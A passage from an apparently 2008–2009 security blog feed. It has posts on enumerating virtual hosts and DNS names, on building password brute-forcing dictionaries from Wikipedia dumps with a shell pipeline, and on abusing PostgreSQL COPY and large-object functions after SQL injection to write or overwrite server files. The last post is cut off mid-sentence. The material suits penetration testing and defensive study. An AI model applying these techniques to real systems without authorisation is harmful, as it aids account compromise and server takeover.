&lt;a class="reference external" href="http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql"&gt;http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql&lt;/a&gt;&lt;/div&gt;
&lt;div class="line"&gt;[8] &lt;a class="reference external" href="http://support.microsoft.com/kb/104829"&gt;http://support.microsoft.com/kb/104829&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><category term="Research"></category><category term="binary data"></category><category term="blob"></category><category term="data casting"></category><category term="SQL Injection"></category></entry><entry><title>Virtual host and DNS names enumeration techniques</title><link href="https://jekil.sexy/blog/2009/virtual-host-and-dns-names-enumeration-techniques.html" rel="alternate"></link><published>2009-01-24T19:36:00+00:00</published><updated>2009-01-24T19:36:00+00:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2009-01-24:/blog/2009/virtual-host-and-dns-names-enumeration-techniques.html</id><summary type="html">&lt;div class="section" id="table-of-contents"&gt;
&lt;h2&gt;Table of&amp;nbsp;Contents&lt;/h2&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;1. Why you need to enumerate&lt;/div&gt;
&lt;div class="line"&gt;2. Techniques&lt;/div&gt;
&lt;div class="line"&gt;2.1 &lt;span class="caps"&gt;DNS&lt;/span&gt; enumeration techniques&lt;/div&gt;
&lt;div class="line"&gt;2.2 Banner grabbing&lt;/div&gt;
&lt;div class="line"&gt;2.3 &lt;span class="caps"&gt;SSL&lt;/span&gt;/&lt;span class="caps"&gt;TLS&lt;/span&gt; Protocol enumeration techniques&lt;/div&gt;
&lt;div class="line"&gt;2.4 &lt;span class="caps"&gt;HTTP&lt;/span&gt; Protocol enumeration techniques&lt;/div&gt;
&lt;div class="line"&gt;2.5 Passive web enumeration techniques&lt;/div&gt;
&lt;div class="line"&gt;2.6 Active web enumeration techniques&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="why-you-need-to-enumerate"&gt;
&lt;h2&gt;1. Why you need to&amp;nbsp;enumerate&lt;/h2&gt;
&lt;p&gt;The host name discovery phase is an information gathering act to get a
complete and detailed view of target resources and attack&amp;nbsp;points.&lt;/p&gt;
&lt;p&gt;During an attack or a penetration test, the attacker needs to known&amp;nbsp; as
much information as possible about the entry points to attack. An entry
point …&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;div class="section" id="table-of-contents"&gt;
&lt;h2&gt;Table of&amp;nbsp;Contents&lt;/h2&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;1. Why you need to enumerate&lt;/div&gt;
&lt;div class="line"&gt;2. Techniques&lt;/div&gt;
&lt;div class="line"&gt;2.1 &lt;span class="caps"&gt;DNS&lt;/span&gt; enumeration techniques&lt;/div&gt;
&lt;div class="line"&gt;2.2 Banner grabbing&lt;/div&gt;
&lt;div class="line"&gt;2.3 &lt;span class="caps"&gt;SSL&lt;/span&gt;/&lt;span class="caps"&gt;TLS&lt;/span&gt; Protocol enumeration techniques&lt;/div&gt;
&lt;div class="line"&gt;2.4 &lt;span class="caps"&gt;HTTP&lt;/span&gt; Protocol enumeration techniques&lt;/div&gt;
&lt;div class="line"&gt;2.5 Passive web enumeration techniques&lt;/div&gt;
&lt;div class="line"&gt;2.6 Active web enumeration techniques&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="why-you-need-to-enumerate"&gt;
&lt;h2&gt;1. Why you need to&amp;nbsp;enumerate&lt;/h2&gt;
&lt;p&gt;The host name discovery phase is an information gathering act to get a
complete and detailed view of target resources and attack&amp;nbsp;points.&lt;/p&gt;
&lt;p&gt;During an attack or a penetration test, the attacker needs to known&amp;nbsp; as
much information as possible about the entry points to attack. An entry
point can be identified with an &lt;span class="caps"&gt;IP&lt;/span&gt; address, a service port, and some
application level information, like the virtual host name in the case of
a web server hosting several&amp;nbsp;sites.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="techniques"&gt;
&lt;h2&gt;2.&amp;nbsp;Techniques&lt;/h2&gt;
&lt;p&gt;There are several techniques that can be used to discover host names and
virtual hosts associated with a &lt;span class="caps"&gt;IP&lt;/span&gt;&amp;nbsp;address.&lt;/p&gt;
&lt;p&gt;Some techniques described here are implemented (and the others will be
implemented soon) in hostmap, a tool that I wrote to discover virtual
hosts and &lt;span class="caps"&gt;DNS&lt;/span&gt; names of a given &lt;span class="caps"&gt;IP&lt;/span&gt; address. As of today, the tool is
private (it does not depend on me) but I hope to release it to the
public domain&amp;nbsp;soon.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="dns-enumeration-techniques"&gt;
&lt;h2&gt;2.1 &lt;span class="caps"&gt;DNS&lt;/span&gt; enumeration&amp;nbsp;techniques&lt;/h2&gt;
&lt;p&gt;The following enumeration techniques are based on the &lt;span class="caps"&gt;DNS&lt;/span&gt; protocol and&amp;nbsp;are:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;strong&gt;Reverse &lt;span class="caps"&gt;DNS&lt;/span&gt; lookup&lt;/strong&gt;: Performs a &lt;span class="caps"&gt;PTR&lt;/span&gt; request to get the host name
from &lt;span class="caps"&gt;IP&lt;/span&gt;&amp;nbsp;address.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Name servers record lookup&lt;/strong&gt;: Get the authoritative name server for
the target&amp;nbsp;host.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mail exchange record lookup&lt;/strong&gt;: Get the &lt;span class="caps"&gt;MX&lt;/span&gt; records for the target
host&amp;nbsp;domain.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;span class="caps"&gt;DNS&lt;/span&gt; &lt;span class="caps"&gt;AXFR&lt;/span&gt; zone transfer&lt;/strong&gt;: The name server that serve the target
machine&amp;#8217;s domain zone can be prone to a zone transfer attack. This
allows an attacker to perform an &lt;span class="caps"&gt;AXFR&lt;/span&gt; &lt;span class="caps"&gt;DNS&lt;/span&gt; request to retrieve all of the
&lt;span class="caps"&gt;DNS&lt;/span&gt; records&amp;nbsp;served.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Host name brute forcing&lt;/strong&gt;: Using a brute-forcing technique to guess
a host name on the enumerated domain that resolve as the target ip&amp;nbsp;address.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="banner-grabbing"&gt;
&lt;h2&gt;2.2 Banner&amp;nbsp;grabbing&lt;/h2&gt;
&lt;p&gt;The services exposed by the target host can disclose a host name in the
response banner. You need to simply telnet in all open ports and wait
for a response banner (or negotiate the application protocol). For
example this is the response banner of a &lt;span class="caps"&gt;SMTP&lt;/span&gt; server running&amp;nbsp;Postfix:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; telnet &lt;span class="m"&gt;10&lt;/span&gt;.0.0.1 &lt;span class="m"&gt;25&lt;/span&gt;
&lt;span class="go"&gt;Trying 10.0.0.1...&lt;/span&gt;
&lt;span class="go"&gt;Connected to 10.0.0.1.&lt;/span&gt;
&lt;span class="go"&gt;Escape character is &amp;#39;^]&amp;#39;.&lt;/span&gt;
&lt;span class="go"&gt;220 mail.example.lan ESMTP Postfix&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;As you can see in the response banner you get the host&amp;nbsp;name.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="ssl-tls-protocol-enumeration-techniques"&gt;
&lt;h2&gt;2.3 &lt;span class="caps"&gt;SSL&lt;/span&gt;/&lt;span class="caps"&gt;TLS&lt;/span&gt; Protocol enumeration&amp;nbsp;techniques&lt;/h2&gt;
&lt;p&gt;The following enumeration techniques are based on the &lt;span class="caps"&gt;SSL&lt;/span&gt;/&lt;span class="caps"&gt;TLS&lt;/span&gt; protocol
and&amp;nbsp;is:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;strong&gt;X.509 Certificate&lt;/strong&gt;: Often the target machine exposes an &lt;span class="caps"&gt;HTTP&lt;/span&gt; over
&lt;span class="caps"&gt;SSL&lt;/span&gt; service. A connection is tried to the common &lt;span class="caps"&gt;HTTP&lt;/span&gt; service ports and
is tried to negotiate an &lt;span class="caps"&gt;SSL&lt;/span&gt;/&lt;span class="caps"&gt;TLS&lt;/span&gt; connection, if the remote server supply
a X.509 certificate the host name is taken from the Common Name (&lt;span class="caps"&gt;CN&lt;/span&gt;)&amp;nbsp;field.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="http-protocol-enumeration-techniques"&gt;
&lt;h2&gt;2.4 &lt;span class="caps"&gt;HTTP&lt;/span&gt; Protocol enumeration&amp;nbsp;techniques&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;strong&gt;Virtual host brute-forcing&lt;/strong&gt;: The web server can be brute-forced to
guess a website served by the target&amp;nbsp;host.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Following redirects&lt;/strong&gt;: It is possible to guess another website
served by the target host following redirects (&lt;span class="caps"&gt;HTTP&lt;/span&gt; code 301 and&amp;nbsp;302).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;With error pages&lt;/strong&gt;: If you try to get an error page (code 500)
sometimes you can get an error page showing a banner with the host&amp;nbsp;name.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="passive-web-enumeration-techniques"&gt;
&lt;h2&gt;2.5 Passive web enumeration&amp;nbsp;techniques&lt;/h2&gt;
&lt;p&gt;The following enumeration techniques are based on third party web sites
and&amp;nbsp;are:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;strong&gt;Search engines&lt;/strong&gt;: The following search engines can be used and
queried using the target &lt;span class="caps"&gt;IP&lt;/span&gt; address:&lt;ul&gt;
&lt;li&gt;Microsoft Live (with the dork &amp;#8220;ip:&amp;#8221;): [&lt;a class="reference external" href="http://search.msn.com"&gt;http://search.msn.com&lt;/a&gt;]&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;span class="caps"&gt;GPG&lt;/span&gt;/&lt;span class="caps"&gt;PGP&lt;/span&gt; key databases&lt;/strong&gt;: The following public databases can be used:&lt;ul&gt;
&lt;li&gt;&lt;span class="caps"&gt;MIT&lt;/span&gt; gpg key server: [&lt;a class="reference external" href="http://pgp.mit.edu:11371"&gt;http://pgp.mit.edu:11371&lt;/a&gt;]&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;span class="caps"&gt;DNS&lt;/span&gt;/&lt;span class="caps"&gt;WHOIS&lt;/span&gt; databases&lt;/strong&gt;: Public whois information databases like &lt;span class="caps"&gt;RIPE&lt;/span&gt;,
or &lt;span class="caps"&gt;DNS&lt;/span&gt; snapshot database can be used to passively enumerate host name
and track his&amp;nbsp;history.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The following is a partial list of public databases that can be&amp;nbsp;used:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Domainsdb: [&lt;a class="reference external" href="http://www.domainsdb.net/"&gt;http://www.domainsdb.net/&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;Fbk.de: [&lt;a class="reference external" href="http://www.bfk.de/"&gt;http://www.bfk.de/&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;Gigablast: [&lt;a class="reference external" href="http://www.gigablast.com"&gt;http://www.gigablast.com&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;Netcraft: [&lt;a class="reference external" href="http://searchdns.netcraft.com"&gt;http://searchdns.netcraft.com&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;Robtex: [&lt;a class="reference external" href="http://www.robtex.com"&gt;http://www.robtex.com&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;Tomdns: [&lt;a class="reference external" href="http://www.tomdns.net"&gt;http://www.tomdns.net&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;Web hosting: [&lt;a class="reference external" href="http://whois.webhosting.info/"&gt;http://whois.webhosting.info/&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;Web-max: [&lt;a class="reference external" href="http://www.web-max.ca"&gt;http://www.web-max.ca&lt;/a&gt;]&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="active-web-enumeration-techniques"&gt;
&lt;h2&gt;2.6 Active web enumeration&amp;nbsp;techniques&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;strong&gt;Crawling&lt;/strong&gt;: All published websites can be crawled for links to
other sites and checked (if they resolve as the target &lt;span class="caps"&gt;IP&lt;/span&gt; address) to
get other sites hosted on the target. This technique is very time&amp;nbsp;consuming.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;&lt;span class="caps"&gt;UPDATE&lt;/span&gt;&lt;/strong&gt;: hostmap is a free, automatic, hostnames and virtual hosts
discovery tool written in Python. hostmap has been released in may and
you can get it at
&lt;a class="reference external" href="http://hostmap.sourceforge.net/"&gt;http://hostmap.lonerunners.net/&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
</content><category term="Research"></category><category term="discovery"></category><category term="dns alias"></category><category term="dns name"></category><category term="enumeration"></category><category term="hostmap"></category><category term="virtual host"></category></entry><entry><title>Using Wikipedia as brute forcing dictionary</title><link href="https://jekil.sexy/blog/2009/using-wikipedia-as-brute-forcing-dictionary.html" rel="alternate"></link><published>2009-01-08T04:23:00+00:00</published><updated>2009-01-08T04:23:00+00:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2009-01-08:/blog/2009/using-wikipedia-as-brute-forcing-dictionary.html</id><summary type="html">&lt;p&gt;The success and the time elapsed in a &lt;a class="reference external" href="http://en.wikipedia.org/wiki/Brute_force_attack"&gt;brute forcing
attack&lt;/a&gt; depends by
the number of discovered brute forcing points, the quality of the tool
used (like &lt;a class="reference external" href="http://freeworld.thc.org/thc-hydra/"&gt;&lt;span class="caps"&gt;THC&lt;/span&gt;-hydra&lt;/a&gt;,
&lt;a class="reference external" href="http://www.hoobie.net/brutus/"&gt;brutus&lt;/a&gt; or
&lt;a class="reference external" href="http://www.foofus.net/jmk/medusa/medusa.html"&gt;medusa&lt;/a&gt;) and the
quality of the dictionary&amp;nbsp;used.&lt;/p&gt;
&lt;p&gt;Sometimes using a incremental dictionary is a waste of time, a good
dictionary can be the success key to a fast brute forcing attack. Get a
dictionary of common words and keep it updated is an hard&amp;nbsp;work.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://www.wikipedia.org"&gt;Wikipedia&lt;/a&gt; is a free multilingual
encyclopedia, it currently contains
&lt;a class="reference external" href="http://en.wikipedia.org/wiki/Special:Statistics"&gt;2,683,099&lt;/a&gt;
articles. This is a really good database to generate a dictionary …&lt;/p&gt;</summary><content type="html">&lt;p&gt;The success and the time elapsed in a &lt;a class="reference external" href="http://en.wikipedia.org/wiki/Brute_force_attack"&gt;brute forcing
attack&lt;/a&gt; depends by
the number of discovered brute forcing points, the quality of the tool
used (like &lt;a class="reference external" href="http://freeworld.thc.org/thc-hydra/"&gt;&lt;span class="caps"&gt;THC&lt;/span&gt;-hydra&lt;/a&gt;,
&lt;a class="reference external" href="http://www.hoobie.net/brutus/"&gt;brutus&lt;/a&gt; or
&lt;a class="reference external" href="http://www.foofus.net/jmk/medusa/medusa.html"&gt;medusa&lt;/a&gt;) and the
quality of the dictionary&amp;nbsp;used.&lt;/p&gt;
&lt;p&gt;Sometimes using a incremental dictionary is a waste of time, a good
dictionary can be the success key to a fast brute forcing attack. Get a
dictionary of common words and keep it updated is an hard&amp;nbsp;work.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://www.wikipedia.org"&gt;Wikipedia&lt;/a&gt; is a free multilingual
encyclopedia, it currently contains
&lt;a class="reference external" href="http://en.wikipedia.org/wiki/Special:Statistics"&gt;2,683,099&lt;/a&gt;
articles. This is a really good database to generate a dictionary of
common&amp;nbsp;words.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://www.wikipedia.org"&gt;Wikipedia&lt;/a&gt; offers free copies of all
available content to interested users. These databases can be used for
&lt;a class="reference external" href="http://en.wikipedia.org/wiki/Wikipedia:Mirrors_and_forks"&gt;mirroring&lt;/a&gt;,
personal use, informal backups, or database queries. All text content is
licensed under the &lt;a class="reference external" href="http://en.wikipedia.org/wiki/Wikipedia:Text_of_the_GFDL"&gt;&lt;span class="caps"&gt;GNU&lt;/span&gt; Free Documentation
License&lt;/a&gt;
(&lt;span class="caps"&gt;GFDL&lt;/span&gt;). Images and other files are available under &lt;a class="reference external" href="http://en.wikipedia.org/wiki/Wikipedia:ICT"&gt;different
terms&lt;/a&gt;, as detailed on
their description&amp;nbsp;pages.&lt;/p&gt;
&lt;p&gt;The Wikipedia database download page is available here:
&lt;a class="reference external" href="http://en.wikipedia.org/wiki/Wikipedia_database"&gt;http://en.wikipedia.org/wiki/Wikipedia_database&lt;/a&gt; and the database dumps
are available here: &lt;a class="reference external" href="http://download.wikimedia.org/backup-index.html"&gt;http://download.wikimedia.org/backup-index.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A good dictionary must contains the most common terms used in a current
language and also common words that can be used as password, an example
is &amp;#8220;foo&amp;#8221;, &amp;#8220;bar&amp;#8221;, &amp;#8220;1234&amp;#8221;, &amp;#8220;antani&amp;#8221;,&amp;nbsp;etc.&lt;/p&gt;
&lt;p&gt;We can create two types of dictionary, a dictionary containing all the
words inside wikipedia, a dictionary containing all article titles, a
dictionary containing all the words in the article&amp;nbsp;titles.&lt;/p&gt;
&lt;p&gt;After downloading a bunch of gigs we get the wikipedia database dump in
&lt;span class="caps"&gt;XML&lt;/span&gt;, the fields that we need to create our dictionary are &amp;lt;title&amp;gt; and&amp;nbsp;&amp;lt;text&amp;gt;.&lt;/p&gt;
&lt;p&gt;Now you can create all the types of dictionary that you need: words,
titles, case sensitive or case&amp;nbsp;insensitive.&lt;/p&gt;
&lt;p&gt;To achieve better performances I used simple bash scripting for parsing
because using a &lt;span class="caps"&gt;DOM&lt;/span&gt; or &lt;span class="caps"&gt;SAX&lt;/span&gt; parser is too slow with these very big&amp;nbsp;XMLs.&lt;/p&gt;
&lt;p&gt;This dictionary contains all the article titles, so you can guess
password like names, cities,&amp;nbsp;etc.&lt;/p&gt;
&lt;p&gt;To create it you can use the following or you can edit it to fit your
needs, it&amp;#8217;s not beautiful but&amp;nbsp;works:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="go"&gt;grep -E &amp;#39;&amp;lt;title&amp;gt;(.*?)&amp;lt;/title&amp;gt;&amp;#39; itwiki-20081206-pages-meta-current.xml | \&lt;/span&gt;
&lt;span class="go"&gt;cut -d &amp;#39;&amp;gt;&amp;#39; -f2| cut -d &amp;#39;&amp;lt;&amp;#39; -f1 | grep -v : | sed s/\(.*\)//g| sort | uniq&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Word dictionary contains all the words in the wikipedia articles, you
can create it with a command similar to the above, I left it for your
homework&amp;nbsp;;)&lt;/p&gt;
&lt;p&gt;Happy brute&amp;nbsp;forcing!&lt;/p&gt;
</content><category term="Blog"></category><category term="brute forcer"></category><category term="brute forcing"></category><category term="dictionary"></category><category term="wikipedia"></category><category term="words"></category></entry><entry><title>SQLi: Writing files to disk under PostgreSQL</title><link href="https://jekil.sexy/blog/2008/sqli-writing-files-to-disk-under-postgresql.html" rel="alternate"></link><published>2008-12-21T15:03:00+00:00</published><updated>2008-12-21T15:03:00+00:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2008-12-21:/blog/2008/sqli-writing-files-to-disk-under-postgresql.html</id><summary type="html">&lt;div class="section" id="table-of-contents"&gt;
&lt;h2&gt;Table of&amp;nbsp;Contents&lt;/h2&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;1. Introduction&lt;/div&gt;
&lt;div class="line"&gt;2. Default configuration&lt;/div&gt;
&lt;div class="line"&gt;3. &lt;span class="caps"&gt;COPY&lt;/span&gt; Function&lt;/div&gt;
&lt;div class="line"&gt;3.1 &lt;span class="caps"&gt;COPY&lt;/span&gt; function abusing&lt;/div&gt;
&lt;div class="line"&gt;4. &lt;span class="caps"&gt;BLOB&lt;/span&gt; functions&lt;/div&gt;
&lt;div class="line"&gt;4.1 &lt;span class="caps"&gt;BLOB&lt;/span&gt; functions abusing&lt;/div&gt;
&lt;div class="line"&gt;5. User defined functions&lt;/div&gt;
&lt;div class="line"&gt;5.1 User defined functions abusing&lt;/div&gt;
&lt;div class="line"&gt;6. Conclusions&lt;/div&gt;
&lt;div class="line"&gt;7. References&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="introduction"&gt;
&lt;h2&gt;1.&amp;nbsp;Introduction&lt;/h2&gt;
&lt;p&gt;The following examples assume access to the database has been achieved
through &lt;span class="caps"&gt;SQL&lt;/span&gt; Injection vulnerability in a web&amp;nbsp;application.&lt;/p&gt;
&lt;p&gt;Sometimes, against best practice, the application has connected to the
database using superuser&amp;nbsp;credentials.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="default-configuration"&gt;
&lt;h2&gt;2. Default&amp;nbsp;configuration&lt;/h2&gt;
&lt;p&gt;In some systems the configuration files of PostgreSQL are owned by the
user used to run the PostgreSQL&amp;nbsp;process.&lt;/p&gt;
&lt;p&gt;For example in my Ubuntu …&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;div class="section" id="table-of-contents"&gt;
&lt;h2&gt;Table of&amp;nbsp;Contents&lt;/h2&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;1. Introduction&lt;/div&gt;
&lt;div class="line"&gt;2. Default configuration&lt;/div&gt;
&lt;div class="line"&gt;3. &lt;span class="caps"&gt;COPY&lt;/span&gt; Function&lt;/div&gt;
&lt;div class="line"&gt;3.1 &lt;span class="caps"&gt;COPY&lt;/span&gt; function abusing&lt;/div&gt;
&lt;div class="line"&gt;4. &lt;span class="caps"&gt;BLOB&lt;/span&gt; functions&lt;/div&gt;
&lt;div class="line"&gt;4.1 &lt;span class="caps"&gt;BLOB&lt;/span&gt; functions abusing&lt;/div&gt;
&lt;div class="line"&gt;5. User defined functions&lt;/div&gt;
&lt;div class="line"&gt;5.1 User defined functions abusing&lt;/div&gt;
&lt;div class="line"&gt;6. Conclusions&lt;/div&gt;
&lt;div class="line"&gt;7. References&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="introduction"&gt;
&lt;h2&gt;1.&amp;nbsp;Introduction&lt;/h2&gt;
&lt;p&gt;The following examples assume access to the database has been achieved
through &lt;span class="caps"&gt;SQL&lt;/span&gt; Injection vulnerability in a web&amp;nbsp;application.&lt;/p&gt;
&lt;p&gt;Sometimes, against best practice, the application has connected to the
database using superuser&amp;nbsp;credentials.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="default-configuration"&gt;
&lt;h2&gt;2. Default&amp;nbsp;configuration&lt;/h2&gt;
&lt;p&gt;In some systems the configuration files of PostgreSQL are owned by the
user used to run the PostgreSQL&amp;nbsp;process.&lt;/p&gt;
&lt;p&gt;For example in my Ubuntu laptop the PostgreSQL configuration file are
owned by postgres by default, as you can&amp;nbsp;see:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; ls -al /etc/postgresql/8.3/main/
&lt;span class="go"&gt;total 44&lt;/span&gt;
&lt;span class="go"&gt;drwxr-xr-x 2 root     root      4096 2008-05-14 00:20 .&lt;/span&gt;
&lt;span class="go"&gt;drwxr-xr-x 3 root     root      4096 2008-04-12 15:19 ..&lt;/span&gt;
&lt;span class="go"&gt;-rw-r--r-- 1 root     root       316 2008-04-12 15:20 environment&lt;/span&gt;
&lt;span class="go"&gt;-rw-r----- 1 postgres postgres  3845 2008-05-13 23:07 pg_hba.conf&lt;/span&gt;
&lt;span class="go"&gt;-rw-r----- 1 postgres postgres  1460 2008-04-12 15:20 pg_ident.conf&lt;/span&gt;
&lt;span class="go"&gt;-rw-r--r-- 1 postgres postgres 16682 2008-04-12 15:20 postgresql.conf&lt;/span&gt;
&lt;span class="go"&gt;-rw-r--r-- 1 root     root       378 2008-04-12 15:20 start.conf&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;All the configuration files are owned by postgres user which can write&amp;nbsp;these.&lt;/p&gt;
&lt;p&gt;So anyone that can execute a &lt;span class="caps"&gt;SQL&lt;/span&gt; statement that write files to disk can
try to overwrite a configuration file and do all evil&amp;nbsp;things.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="copy-function"&gt;
&lt;h2&gt;3. &lt;span class="caps"&gt;COPY&lt;/span&gt;&amp;nbsp;Function&lt;/h2&gt;
&lt;p&gt;The &lt;span class="caps"&gt;COPY&lt;/span&gt; statement transfers data between PostgreSQL tables and standard
file system&amp;nbsp;files.&lt;/p&gt;
&lt;p&gt;&lt;span class="caps"&gt;COPY&lt;/span&gt; &lt;span class="caps"&gt;TO&lt;/span&gt; statement copies the contents of a table to a file, while &lt;span class="caps"&gt;COPY&lt;/span&gt;
&lt;span class="caps"&gt;FROM&lt;/span&gt; copies data from a file to a table (appending the data to whatever
is in the table&amp;nbsp;already).&lt;/p&gt;
&lt;p&gt;It can export data as text or PostgreSQL&amp;#8217;s own binary format, which
contains a&amp;nbsp;header.&lt;/p&gt;
&lt;p&gt;Using &lt;span class="caps"&gt;COPY&lt;/span&gt; with a file name instructs the PostgreSQL server to directly
read from or write to a file. The file must be accessible to the server
and the name must be specified from the viewpoint of the server. When
&lt;span class="caps"&gt;STDIN&lt;/span&gt; or &lt;span class="caps"&gt;STDOUT&lt;/span&gt; is specified, data is transmitted via the connection
between the client and the&amp;nbsp;server.&lt;/p&gt;
&lt;p&gt;In PostgreSQL 8.0 and later the database file locations can be
determined querying system table&amp;nbsp;pg_settings:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;postgres=#&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;setting&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;pg_settings&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="k"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;data_directory&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="go"&gt;setting&lt;/span&gt;
&lt;span class="go"&gt;------------------------------&lt;/span&gt;
&lt;span class="go"&gt;/var/lib/postgresql/8.3/main&lt;/span&gt;
&lt;span class="go"&gt;(1 row)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="copy-function-abusing"&gt;
&lt;h2&gt;3.1 &lt;span class="caps"&gt;COPY&lt;/span&gt; function&amp;nbsp;abusing&lt;/h2&gt;
&lt;p&gt;The files are accessed under the operating system user privilege that
the database runs as and it&amp;#8217;s available only to database&amp;nbsp;superusers.&lt;/p&gt;
&lt;p&gt;The &lt;span class="caps"&gt;COPY&lt;/span&gt; command does not accept relative paths to prevent the
overwriting of a database file, more explanation of this can be found in
copy.c source&amp;nbsp;file.&lt;/p&gt;
&lt;p&gt;So an attacker can use ~ to write in PostgreSQL home directory and must
write files in already known path or a well known directory like&amp;nbsp;/tmp.&lt;/p&gt;
&lt;p&gt;The caveat is that the file cannot contain a null byte (0x00) otherwise
proceeding bytes will not be written&amp;nbsp;out.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="blob-functions"&gt;
&lt;h2&gt;4. &lt;span class="caps"&gt;BLOB&lt;/span&gt;&amp;nbsp;functions&lt;/h2&gt;
&lt;p&gt;PostgreSQL uses large objects, also called Binary Large Objects, to
store very large values and binary data. Large objects permit storage of
any operating system file, including images or large text files,
directly into the&amp;nbsp;database.&lt;/p&gt;
&lt;p&gt;It has provided support for &lt;span class="caps"&gt;BLOB&lt;/span&gt;, also called Large Objects, since
version 4.2. From version 7.2 organized the three large object
interfaces such that all large objects are now placed in the system
table&amp;nbsp;pg_largeobject.&lt;/p&gt;
&lt;p&gt;According to the Database Data Type Comparison Sheet[3] there are two
data types used by PostgreSQL to store &lt;span class="caps"&gt;BLOB&lt;/span&gt;:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;span class="caps"&gt;BYTEA&lt;/span&gt;: used to store small amount of binary data that are stored in the data&amp;nbsp;table&lt;/li&gt;
&lt;li&gt;&lt;span class="caps"&gt;OID&lt;/span&gt;: used to store very large amount of binary data in form of file in the&amp;nbsp;filesystem&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="blob-functions-abusing"&gt;
&lt;h2&gt;4.1 &lt;span class="caps"&gt;BLOB&lt;/span&gt; functions&amp;nbsp;abusing&lt;/h2&gt;
&lt;p&gt;The file is loaded into the database using lo_import(), and is
retrieved from the database using lo_export(). These functions take a
path as argument that is the path of file to load or the path where
export the data in the &lt;span class="caps"&gt;BLOB&lt;/span&gt;&amp;nbsp;field.&lt;/p&gt;
&lt;p&gt;In detail[2] to export a large object into an operating system file,
call the lo_export() function, with argument that specifies the
